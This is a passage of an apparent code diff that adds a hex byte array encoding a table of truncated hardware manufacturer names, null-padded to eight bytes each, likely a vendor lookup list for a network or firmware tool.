0x47, 0x72, 0x6f, +0x55, 0x74, 0x72, 0x61, 0x6e, 0x54, 0x65, 0x63, +0x41, 0x6e, 0x64, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x4f, 0x6e, 0x76, 0x6f, 0x63, 0x61, 0x6c, 0x00, +0x45, 0x63, 0x6f, 0x50, 0x6c, 0x75, 0x67, 0x73, +0x57, 0x65, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, +0x44, 0x62, 0x6c, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x57, 0x69, 0x6c, 0x64, 0x65, 0x62, 0x6f, 0x65, +0x50, 0x61, 0x74, 0x72, 0x6f, 0x6c, 0x50, 0x72, +0x43, 0x6f, 0x6d, 0x70, 0x61, 0x6c, 0x42, 0x72, +0x4c, 0x69, 0x67, 0x68, 0x74, 0x4c, 0x61, 0x62, +0x4d, 0x79, 0x63, 0x6c, 0x6f, 0x75, 0x64, 0x54, +0x41, 0x69, 0x72, 0x74, 0x61, 0x6d, 0x65, 0x41, +0x43, 0x61, 0x6e, 0x64, 0x79, 0x48, 0x6f, 0x75, +0x50, 0x65, 0x65, 0x72, 0x62, 0x72, 0x69, 0x64, +0x4d, 0x69, 0x6e, 0x64, 0x6d, 0x61, 0x64, 0x65, +0x59, 0x75, 0x4a, 0x65, 0x6f, 0x6e, 0x67, 0x53, +0x33, 0x6e, 0x6f, 0x64, 0x4d, 0x75, 0x6c, 0x74, +0x4f, 0x6f, 0x73, 0x69, 0x63, 0x54, 0x65, 0x63, +0x41, 0x73, 0x69, 0x61, 0x4f, 0x70, 0x74, 0x69, +0x49, 0x76, 0x79, 0x42, 0x69, 0x6f, 0x6d, 0x65, +0x57, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x47, 0x72, +0x45, 0x75, 0x72, 0x6f, 0x6e, 0x64, 0x61, 0x00, +0x41, 0x6b, 0x65, 0x6c, 0x61, 0x00, 0x00, 0x00, +0x46, 0x6c, 0x65, 0x78, 0x6f, 0x70, 0x74, 0x69, +0x4f, 0x70, 0x74, 0x69, 0x63, 0x6f, 0x6e, 0x53, +0x49, 0x74, 0x63, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x46, 0x61, 0x6e, 0x68, 0x61, 0x74, 0x74, 0x61, +0x58, 0x65, 0x6e, 0x6f, 0x78, 0x42, 0x76, 0x00, +0x53, 0x79, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x4d, 0x65, 0x72, 0x69, 0x74, 0x65, 0x63, 0x68, +0x43, 0x2d, 0x4b, 0x75, 0x72, 0x54, 0x76, 0x00, +0x4f, 0x74, 0x6e, 0x4e, 0x56, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x65, 0x63, 0x65, 0x72, 0x4e, +0x4d, 0x6f, 0x6f, 0x67, 0x49, 0x6e, 0x67, 0x00, +0x4f, 0x72, 0x67, 0x61, 0x42, 0x76, 0x00, 0x00, +0x41, 0x63, 0x74, 0x69, 0x66, 0x69, 0x6f, 0x00, +0x4e, 0x65, 0x70, 0x68, 0x6f, 0x73, 0x00, 0x00, +0x53, 0x6f, 0x6e, 0x6f, 0x74, 0x72, 0x6f, 0x6e, +0x45, 0x47, 0x4f, 0x45, 0x6c, 0x65, 0x6b, 0x74, +0x46, 0x69, 0x6a, 0x6f, 0x77, 0x61, 0x76, 0x65, +0x4f, 0x7a, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, +0x4d, 0x65, 0x69, 0x7a, 0x75, 0x54, 0x65, 0x63, +0x45, 0x73, 0x70, 0x65, 0x63, 0x00, 0x00, 0x00, +0x57, 0x69, 0x66, 0x69, 0x73, 0x6f, 0x6e, 0x67, +0x43, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x48, 0x69, 0x67, +0x43, 0x6f, 0x6e, 0x74, 0x6f, 0x75, 0x72, 0x44, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x46, +0x45, 0x61, 0x73, 0x79, 0x69, 0x6f, 0x53, 0x64, +0x4c, 0x69, 0x6d, 0x69, 0x64, 0x65, 0x61, 0x43, +0x37, 0x68, 0x75, 0x67, 0x73, 0x4c, 0x61, 0x62, +0x53, 0x75, 0x6e, 0x62, 0x6f, 0x77, 0x54, 0x65, +0x4d, 0x6f, 0x68, 0x6c, 0x65, 0x6e, 0x68, 0x6f, +0x42, 0x4d, 0x65, 0x64, 0x69, 0x65, 0x6e, 0x2b, +0x52, 0x65, 0x63, 0x6f, 0x53, 0x50, 0x41, 0x00, +0x4e, 0x6f, 0x76, 0x61, 0x74, 0x65, 0x6b, 0x4d, +0x41, 0x6e, 0x65, 0x64, 0x6f, 0x00, 0x00, 0x00, +0x56, 0x61, 0x70, 0x6f, 0x72, 0x53, 0x74, 0x6f, +0x4c, 0x69, 0x76, 0x65, 0x73, 0x74, 0x72, 0x65, +0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x74, 0x65, +0x54, 0x61, 0x74, 0x73, 0x75, 0x6e, 0x6f, 0x00, +0x48, 0x69, 0x73, 0x65, 0x6e, 0x73, 0x65, 0x45, +0x4a, 0x6f, 0x6c, 0x61, 0x74, 0x61, 0x00, 0x00, +0x48, 0x6f, 0x6d, 0x65, 0x32, 0x6e, 0x65, 0x74, +0x53, 0x65, 0x6f, 0x6a, 0x75, 0x6e, 0x45, 0x6c, +0x56, 0x32, 0x63, 0x6f, 0x6d, 0x50, 0x61, 0x72, +0x4f, 0x77, 0x69, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x45, 0x6c, 0x6c, 0x69, 0x70, 0x73, 0x42, 0x56, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x45, 0x6c, 0x65, +0x43, 0x69, 0x72, 0x72, 0x75, 0x73, 0x44, 0x61, +0x43, 0x69, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, +0x51, 0x75, 0x69, 0x63, 0x6b, 0x6c, 0x69, 0x6e, +0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6f, 0x6e, +0x50, 0x72, 0x61, 0x76, 0x69, 0x73, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x43, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x59, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x68, 0x6f, 0x75, +0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x67, 0x79, +0x4b, 0x62, 0x63, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x44, 0x61, 0x65, 0x73, 0x75, 0x6e, 0x67, 0x4e, +0x41, 0x6c, 0x62, 0x61, 0x68, 0x69, 0x74, 0x68, +0x50, 0x68, 0x61, 0x7a, 0x72, 0x00, 0x00, 0x00, +0x54, 0x65, 0x73, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x4c, 0x75, 0x78, 0x73, 0x68, 0x61, 0x72, 0x65, +0x47, 0x66, 0x69, 0x43, 0x68, 0x72, 0x6f, 0x6e, +0x43, 0x6c, 0x65, 0x61, 0x72, 0x73, 0x6b, 0x79, +0x43, 0x61, 0x72, 0x64, 0x69, 0x6f, 0x70, 0x75, +0x48, 0x75, 0x61, 0x79, 0x75, 0x61, 0x6e, 0x54, +0x4a, 0x61, 0x64, 0x61, 0x6b, 0x4c, 0x6c, 0x63, +0x53, 0x6f, 0x74, 0x65, 0x72, 0x61, 0x57, 0x69, +0x53, 0x6c, 0x65, 0x51, 0x75, 0x61, 0x6c, 0x69, +0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x64, 0x67, 0x65, 0x63, 0x6f, 0x72, 0x65, +0x53, 0x66, 0x6f, 0x72, 0x7a, 0x61, 0x74, 0x6f, +0x44, 0x65, 0x77, 0x61, 0x72, 0x45, 0x6c, 0x65, +0x51, 0x6f, 0x6c, 0x73, 0x79, 0x73, 0x00, 0x00, +0x43, 0x6f, 0x67, 0x6e, 0x69, 0x74, 0x65, 0x63, +0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x71, +0x4a, 0x77, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x32, 0x63, 0x72, 0x73, 0x69, 0x00, 0x00, 0x00, +0x54, 0x68, 0x65, 0x69, 0x73, 0x73, 0x65, 0x6e, +0x41, 0x73, 0x73, 0x6d, 0x61, 0x6e, 0x6e, 0x45, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, +0x45, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x63, 0x00, +0x4b, 0x65, 0x73, 0x73, 0x6c, 0x65, 0x72, 0x43, +0x46, 0x69, 0x76, 0x65, 0x63, 0x6f, 0x00, 0x00, +0x54, 0x63, 0x6c, 0x4b, 0x69, 0x6e, 0x67, 0x45, +0x53, 0x79, 0x6e, 0x65, 0x72, 0x63, 0x68, 0x69, +0x4c, 0x69, 0x6c, 0x79, 0x52, 0x6f, 0x62, 0x6f, +0x53, 0x63, 0x69, 0x6f, 0x76, 0x69, 0x64, 0x00, +0x4e, 0x69, 0x69, 0x67, 0x61, 0x74, 0x61, 0x50, +0x44, 0x65, 0x78, 0x61, 0x74, 0x65, 0x6b, 0x54, +0x4d, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x4f, 0x79, +0x46, 0x69, 0x62, 0x65, 0x72, 0x70, 0x72, 0x6f, +0x45, 0x6e, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x6b, 0x65, 0x72, 0x62, 0x6f, 0x74, +0x41, 0x69, 0x72, 0x73, 0x6f, 0x6e, 0x69, 0x63, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x68, 0x69, 0x70, +0x52, 0x61, 0x6e, 0x73, 0x6e, 0x65, 0x74, 0x53, +0x43, 0x6b, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x56, +0x53, 0x61, 0x6e, 0x67, 0x73, 0x68, 0x69, 0x6e, +0x4e, 0x65, 0x6f, 0x73, 0x66, 0x61, 0x72, 0x00, +0x4b, 0x61, 0x70, 0x65, 0x6c, 0x73, 0x65, 0x00, +0x54, 0x65, 0x6e, 0x73, 0x75, 0x6e, 0x49, 0x6e, +0x56, 0x65, 0x78, 0x61, 0x74, 0x61, 0x00, 0x00, +0x41, 0x6c, 0x6f, 0x6e, 0x67, 0x43, 0x6f, 0x6d, +0x4f, 0x63, 0x74, 0x6f, 0x70, 0x6f, 0x64, 0x54, +0x49, 0x70, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x51, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6e, +0x4c, 0x61, 0x6e, 0x73, 0x65, 0x6e, 0x74, 0x65, +0x42, 0x6c, 0x65, 0x73, 0x73, 0x49, 0x6e, 0x66, +0x4f, 0x69, 0x6c, 0x66, 0x69, 0x6e, 0x64, 0x49, +0x49, 0x6b, 0x65, 0x79, 0x00, 0x00, 0x00, 0x00, +0x45, 0x73, 0x61, 0x45, 0x6c, 0x65, 0x6b, 0x74, +0x57, 0x61, 0x74, 0x74, 0x77, 0x61, 0x74, 0x63, +0x50, 0x6c, 0x75, 0x6d, 0x67, 0x72, 0x69, 0x64, +0x42, 0x65, 0x6c, 0x64, 0x65, 0x6e, 0x44, 0x65, +0x44, 0x26, 0x42, 0x41, 0x75, 0x64, 0x69, 0x6f, +0x41, 0x65, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x6c, 0x61, 0x6e, 0x67, 0x65, 0x50, +0x58, 0x69, 0x6e, 0x68, 0x75, 0x61, 0x43, 0x6f, +0x48, 0x75, 0x69, 0x79, 0x61, 0x6e, 0x67, 0x54, +0x49, 0x64, 0x65, 0x72, 0x73, 0x00, 0x00, 0x00, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x69, 0x73, 0x63, +0x4d, 0x65, 0x72, 0x63, 0x65, 0x64, 0x65, 0x73, +0x49, 0x63, 0x6f, 0x6d, 0x6d, 0x48, 0x6b, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x70, 0x6f, 0x77, 0x65, +0x53, 0x6b, 0x4d, 0x74, 0x65, 0x6b, 0x4d, 0x69, +0x45, 0x63, 0x6c, 0x69, 0x70, 0x73, 0x65, 0x57, +0x53, 0x6f, 0x6d, 0x6f, 0x48, 0x6f, 0x6c, 0x64, +0x4b, 0x69, 0x64, 0x61, 0x73, 0x65, 0x6e, 0x49, +0x4c, 0x67, 0x44, 0x69, 0x73, 0x70, 0x6c, 0x61, +0x4a, 0x75, 0x62, 0x69, 0x78, 0x63, 0x6f, 0x6c, +0x4e, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x74, +0x4d, 0x6f, 0x64, 0x61, 0x2d, 0x49, 0x6e, 0x6e, +0x44, 0x73, 0x70, 0x65, 0x63, 0x69, 0x61, 0x6c, +0x45, 0x6d, 0x63, 0x72, 0x61, 0x66, 0x74, 0x4c, +0x4e, 0x65, 0x74, 0x57, 0x61, 0x72, 0x65, 0x3f, +0x44, 0x65, 0x72, 0x65, 0x6b, 0x53, 0x68, 0x61, +0x41, 0x72, 0x69, 0x73, 0x74, 0x61, 0x00, 0x00, +0x41, 0x26, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x61, 0x69, 0x6c, 0x74, 0x65, 0x63, 0x00, +0x54, 0x72, 0x65, 0x6d, 0x6f, 0x6c, 0x00, 0x00, +0x53, 0x6f, 0x6e, 0x61, 0x6e, 0x63, 0x65, 0x00, +0x43, 0x6f, 0x6d, 0x70, 0x61, 0x73, 0x73, 0x2d, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x45, 0x73, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x74, 0x41, +0x45, 0x6b, 0x6d, 0x4d, 0x65, 0x74, 0x65, 0x72, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x65, 0x63, +0x52, 0x66, 0x69, 0x45, 0x6e, 0x67, 0x69, 0x6e, +0x43, 0x6f, 0x6e, 0x6c, 0x6f, 0x67, 0x50, 0x74, +0x47, 0x6f, 0x64, 0x72, 0x65, 0x6a, 0x42, 0x6f, +0x4d, 0x61, 0x63, 0x72, 0x6f, 0x49, 0x6d, 0x61, +0x5a, 0x69, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x63, 0x6f, 0x6d, 0x65, 0x72, 0x61, 0x00, +0x4c, 0x61, 0x79, 0x65, 0x72, 0x33, 0x74, 0x76, +0x53, 0x70, 0x72, 0x65, 0x61, 0x64, 0x74, 0x72, +0x41, 0x63, 0x71, 0x75, 0x69, 0x73, 0x69, 0x74, +0x53, 0x79, 0x6e, 0x61, 0x70, 0x74, 0x69, 0x63, +0x41, 0x64, 0x64, 0x72, 0x65, 0x6b, 0x53, 0x6d, +0x57, 0x69, 0x64, 0x65, 0x78, 0x00, 0x00, 0x00, +0x48, 0x69, 0x67, 0x68, 0x65, 0x72, 0x57, 0x61, +0x4d, 0x69, 0x6c, 0x74, 0x6f, 0x6e, 0x53, 0x65, +0x47, 0x72, 0x61, 0x6e, 0x64, 0x65, 0x78, 0x49, +0x50, 0x69, 0x63, 0x6f, 0x54, 0x65, 0x63, 0x68, +0x57, 0x65, 0x61, 0x72, 0x73, 0x61, 0x66, 0x65, +0x49, 0x6e, 0x48, 0x6f, 0x6d, 0x65, 0x44, 0x69, +0x41, 0x6e, 0x6f, 0x76, 0x6f, 0x00, 0x00, 0x00, +0x48, 0x61, 0x77, 0x6b, 0x65, 0x79, 0x65, 0x54, +0x53, 0x74, 0x65, 0x6c, 0x6c, 0x61, 0x2d, 0x47, +0x47, 0x69, 0x66, 0x61, 0x00, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x53, 0x79, 0x73, 0x74, +0x4d, 0x65, 0x64, 0x69, 0x6f, 0x6c, 0x61, 0x2d, +0x54, 0x68, 0x61, 0x6c, 0x65, 0x73, 0x55, 0x6b, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x49, 0x64, 0x65, +0x4c, 0x69, 0x66, 0x65, 0x54, 0x65, 0x63, 0x68, +0x41, 0x66, 0x75, 0x6e, 0x54, 0x65, 0x63, 0x68, +0x49, 0x6d, 0x62, 0x65, 0x6c, 0x2d, 0x49, 0x6e, +0x4d, 0x65, 0x74, 0x74, 0x6c, 0x65, 0x4e, 0x65, +0x47, 0x6c, 0x6f, 0x72, 0x79, 0x53, 0x74, 0x61, +0x43, 0x6c, 0x61, 0x76, 0x69, 0x73, 0x74, 0x65, +0x4a, 0x64, 0x6d, 0x4d, 0x6f, 0x62, 0x69, 0x6c, +0x54, 0x69, 0x74, 0x65, 0x6e, 0x67, 0x00, 0x00, +0x41, 0x69, 0x73, 0x69, 0x6e, 0x6f, 0x00, 0x00, +0x4e, 0x74, 0x6d, 0x6f, 0x72, 0x65, 0x00, 0x00, +0x42, 0x6b, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x43, 0x61, 0x73, 0x61, 0x63, 0x6f, 0x6d, 0x53, +0x4a, 0x69, 0x64, 0x65, 0x54, 0x65, 0x63, 0x68, +0x42, 0x61, 0x65, 0x6b, 0x63, 0x68, 0x75, 0x6e, +0x50, 0x61, 0x73, 0x73, 0x69, 0x76, 0x73, 0x79, +0x44, 0x61, 0x74, 0x61, 0x4d, 0x61, 0x6e, 0x61, +0x43, 0x68, 0x69, 0x79, 0x6f, 0x64, 0x61, 0x45, +0x4c, 0x6f, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x00, +0x4c, 0x65, 0x67, 0x69, 0x63, 0x49, 0x64, 0x65, +0x53, 0x75, 0x6e, 0x67, 0x73, 0x61, 0x6d, 0x00, +0x43, 0x72, 0x6f, 0x6e, 0x6f, 0x70, 0x6c, 0x61, +0x49, 0x74, 0x65, 0x6c, 0x69, 0x6f, 0x00, 0x00, +0x50, 0x68, 0x79, 0x73, 0x69, 0x6f, 0x2d, 0x43, +0x44, 0x69, 0x67, 0x69, 0x73, 0x74, 0x61, 0x72, +0x53, 0x6e, 0x61, 0x70, 0x72, 0x6f, 0x75, 0x74, +0x4e, 0x61, 0x76, 0x69, 0x69, 0x74, 0x00, 0x00, +0x41, 0x6d, 0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, +0x5a, 0x33, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x49, 0x73, 0x6f, 0x6e, 0x54, 0x65, 0x63, 0x68, +0x42, 0x69, 0x6f, 0x64, 0x61, 0x74, 0x61, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x53, 0x45, 0x52, +0x45, 0x71, 0x75, 0x69, 0x74, 0x65, 0x63, 0x68, +0x44, 0x65, 0x79, 0x53, 0x74, 0x6f, 0x72, 0x61, +0x46, 0x6f, 0x75, 0x6e, 0x64, 0x65, 0x72, 0x42, +0x49, 0x73, 0x65, 0x45, 0x75, 0x72, 0x6f, 0x70, +0x52, 0x75, 0x62, 0x65, 0x7a, 0x68, 0x00, 0x00, +0x50, 0x72, 0x65, 0x68, 0x43, 0x61, 0x72, 0x43, +0x4d, 0x61, 0x78, 0x69, 0x6f, 0x00, 0x00, 0x00, +0x53, 0x61, 0x6c, 0x63, 0x6f, 0x6d, 0x70, 0x53, +0x4e, 0x65, 0x74, 0x6d, 0x61, 0x6e, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x67, 0x61, 0x72, 0x74, +0x57, 0x6b, 0x6b, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x63, 0x6f, 0x6e, +0x46, 0x69, 0x74, 0x76, 0x69, 0x65, 0x77, 0x00, +0x41, 0x72, 0x76, 0x69, 0x64, 0x61, 0x49, 0x6e, +0x46, 0x61, 0x72, 0x6d, 0x61, 0x67, 0x65, 0x00, +0x42, 0x61, 0x6d, 0x62, 0x6f, 0x6f, 0x45, 0x6e, +0x4e, 0x69, 0x65, 0x74, 0x7a, 0x73, 0x63, 0x68, +0x45, 0x33, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x4d, 0x78, 0x74, 0x49, 0x6e, 0x64, 0x75, 0x73, +0x4e, 0x65, 0x74, 0x65, 0x72, 0x69, 0x78, 0x00, +0x4d, 0x72, 0x76, 0x43, 0x6f, 0x6d, 0x75, 0x6e, +0x32, 0x53, 0x61, 0x76, 0x65, 0x45, 0x6e, 0x65, +0x59, 0x6f, 0x75, 0x6e, 0x67, 0x45, 0x6c, 0x65, +0x43, 0x75, 0x6d, 0x75, 0x6c, 0x75, 0x73, 0x4e, +0x50, 0x69, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x54, +0x4e, 0x75, 0x76, 0x6f, 0x6c, 0x74, 0x00, 0x00, +0x44, 0x65, 0x6f, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x4f, 0x74, 0x74, 0x6f, 0x71, 0x00, 0x00, 0x00, +0x44, 0x66, 0x69, 0x44, 0x69, 0x61, 0x6d, 0x6f, +0x53, 0x69, 0x6c, 0x76, 0x65, 0x72, 0x66, 0x6c, +0x50, 0x61, 0x6e, 0x53, 0x74, 0x75, 0x64, 0x69, +0x54, 0x68, 0x6f, 0x6d, 0x70, 0x73, 0x6f, 0x6e, +0x50, 0x6e, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x53, 0x70, 0x61, 0x77, 0x6e, 0x4c, 0x61, 0x62, +0x43, 0x72, 0x69, 0x74, 0x69, 0x63, 0x61, 0x72, +0x52, 0x61, 0x7a, 0x65, 0x72, 0x00, 0x00, 0x00, +0x54, 0x6f, 0x6e, 0x61, 0x6c, 0x69, 0x74, 0x65, +0x53, 0x68, 0x69, 0x68, 0x6c, 0x69, 0x6e, 0x45, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x63, 0x65, 0x6c, +0x45, 0x63, 0x6f, 0x62, 0x65, 0x65, 0x00, 0x00, +0x46, 0x6f, 0x6e, 0x73, 0x79, 0x73, 0x74, 0x65, +0x43, 0x6f, 0x6d, 0x61, 0x74, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x67, 0x61, 0x56, 0x69, 0x64, 0x65, +0x49, 0x70, 0x2d, 0x4c, 0x69, 0x6e, 0x65, 0x00, +0x4f, 0x72, 0x62, 0x69, 0x74, 0x49, 0x72, 0x72, +0x4a, 0x75, 0x69, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x52, 0x65, 0x61, 0x6c, 0x6c, 0x69, 0x6e, 0x45, +0x49, 0x66, 0x66, 0x75, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x6e, 0x67, 0x48, 0x6f, 0x6e, 0x67, +0x44, 0x75, 0x61, 0x6c, 0x73, 0x68, 0x69, 0x6e, +0x49, 0x6e, 0x6e, 0x6f, 0x6c, 0x69, 0x67, 0x68, +0x56, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, +0x54, 0x72, 0x65, 0x6b, 0x54, 0x65, 0x63, 0x68, +0x41, 0x6c, 0x70, 0x68, 0x61, 0x41, 0x6e, 0x64, +0x53, 0x74, 0x61, 0x72, 0x2d, 0x4e, 0x65, 0x74, +0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x4c, +0x48, 0x6f, 0x79, 0x61, 0x53, 0x65, 0x72, 0x76, +0x43, 0x61, 0x6d, 0x63, 0x6f, 0x54, 0x65, 0x63, +0x4b, 0x74, 0x69, 0x73, 0x00, 0x00, 0x00, 0x00, +0x44, 0x74, 0x52, 0x65, 0x73, 0x65, 0x61, 0x72, +0x56, 0x69, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, +0x51, 0x69, 0x6e, 0x67, 0x64, 0x61, 0x6f, 0x53, +0x41, 0x69, 0x64, 0x6f, 0x6e, 0x4f, 0x79, 0x00, +0x4e, 0x6f, 0x77, 0x46, 0x61, 0x63, 0x74, 0x6f, +0x41, 0x6c, 0x63, 0x6f, 0x6d, 0x70, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x6d, 0x61, 0x78, 0x45, 0x6c, +0x53, 0x65, 0x77, 0x6f, 0x6f, 0x54, 0x65, 0x63, +0x55, 0x64, 0x77, 0x6f, 0x72, 0x6b, 0x73, 0x00, +0x4e, 0x61, 0x6e, 0x6f, 0x74, 0x65, 0x63, 0x45, +0x58, 0x69, 0x6e, 0x67, 0x66, 0x65, 0x69, 0x00, +0x4b, 0x75, 0x61, 0x6e, 0x67, 0x2d, 0x43, 0x68, +0x53, 0x69, 0x75, 0x73, 0x00, 0x00, 0x00, 0x00, +0x53, 0x69, 0x66, 0x72, 0x6f, 0x6d, 0x00, 0x00, +0x4f, 0x6f, 0x6f, 0x52, 0x75, 0x62, 0x65, 0x7a, +0x4e, 0x67, 0x6e, 0x45, 0x61, 0x73, 0x79, 0x53, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x46, 0x65, 0x6e, +0x47, 0x72, 0x65, 0x65, 0x6e, 0x77, 0x61, 0x6c, +0x41, 0x6e, 0x76, 0x69, 0x61, 0x54, 0x76, 0x4f, +0x41, 0x64, 0x64, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, +0x54, 0x61, 0x6c, 0x61, 0x72, 0x69, 0x4e, 0x65, +0x53, 0x6e, 0x75, 0x7a, 0x61, 0x49, 0x6e, 0x74, +0x4d, 0x79, 0x72, 0x65, 0x6b, 0x61, 0x54, 0x65, +0x41, 0x63, 0x74, 0x6c, 0x61, 0x73, 0x00, 0x00, +0x4c, 0x6f, 0x6e, 0x67, 0x69, 0x63, 0x6f, 0x72, +0x42, 0x75, 0x64, 0x65, 0x6c, 0x6d, 0x61, 0x6e, +0x55, 0x67, 0x65, 0x6e, 0x65, 0x53, 0x6f, 0x6c, +0x55, 0x6e, 0x69, 0x6f, 0x6e, 0x50, 0x61, 0x63, +0x45, 0x76, 0x65, 0x72, 0x79, 0x73, 0x69, 0x67, +0x47, 0x74, 0x63, 0x4e, 0x6f, 0x74, 0x52, 0x65, +0x42, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x45, 0x6c, +0x44, 0x65, 0x73, 0x61, 0x79, 0x45, 0x6c, 0x65, +0x54, 0x65, 0x6d, 0x70, 0x65, 0x72, 0x65, 0x64, +0x4e, 0x74, 0x74, 0x49, 0x6e, 0x6e, 0x6f, 0x76, +0x4c, 0x75, 0x78, 0x63, 0x6f, 0x6d, 0x54, 0x65, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x70, 0x6f, 0x77, +0x4e, 0x6f, 0x63, 0x73, 0x79, 0x73, 0x00, 0x00, +0x50, 0x6f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x54, +0x49, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x53, 0x63, +0x54, 0x65, 0x6b, 0x2d, 0x41, 0x69, 0x72, 0x00, +0x5a, 0x65, 0x6e, 0x6e, 0x69, 0x6f, 0x41, 0x76, +0x49, 0x65, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x79, 0x73, 0x63, 0x6f, 0x72, 0x43, 0x6f, +0x48, 0x64, 0x73, 0x3f, 0x3f, 0x3f, 0x00, 0x00, +0x55, 0x72, 0x6f, 0x73, 0x4f, 0x79, 0x00, 0x00, +0x53, 0x6f, 0x72, 0x65, 0x65, 0x6c, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x52, 0x75, 0x6c, 0x65, 0x73, +0x57, 0x69, 0x6e, 0x62, 0x6f, 0x6e, 0x64, 0x3f, +0x57, 0x75, 0x51, 0x69, 0x54, 0x65, 0x63, 0x68, +0x46, 0x61, 0x63, 0x65, 0x62, 0x6f, 0x6f, 0x6b, +0x57, 0x69, 0x73, 0x6f, 0x6c, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6e, 0x63, 0x65, 0x72, 0x6e, 0x41, +0x46, 0x6c, 0x65, 0x65, 0x74, 0x77, 0x6f, 0x6f, +0x50, 0x69, 0x63, 0x61, 0x38, 0x00, 0x00, 0x00, +0x44, 0x61, 0x76, 0x69, 0x74, 0x53, 0x79, 0x73, +0x53, 0x74, 0x6f, 0x72, 0x73, 0x69, 0x6d, 0x70, +0x53, 0x67, 0x62, 0x47, 0x72, 0x6f, 0x75, 0x70, +0x41, 0x6c, 0x65, 0x49, 0x6e, 0x74, 0x65, 0x72, +0x4c, 0x69, 0x66, 0x65, 0x46, 0x69, 0x74, 0x6e, +0x41, 0x70, 0x70, 0x65, 0x6c, 0x45, 0x6c, 0x65, +0x4d, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x6e, +0x57, 0x65, 0x69, 0x6e, 0x6d, 0x61, 0x6e, 0x6e, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x6d, 0x61, +0x53, 0x63, 0x69, 0x49, 0x6e, 0x6e, 0x6f, 0x76, +0x46, 0x6c, 0x61, 0x73, 0x68, 0x62, 0x61, 0x79, +0x4b, 0x6f, 0x64, 0x6f, 0x66, 0x6f, 0x6e, 0x4a, +0x47, 0x6a, 0x73, 0x75, 0x6e, 0x4f, 0x70, 0x74, +0x53, 0x74, 0x6f, 0x72, 0x65, 0x45, 0x6c, 0x65, +0x4d, 0x61, 0x72, 0x6b, 0x65, 0x74, 0x61, 0x78, +0x47, 0x6c, 0x6f, 0x72, 0x79, 0x48, 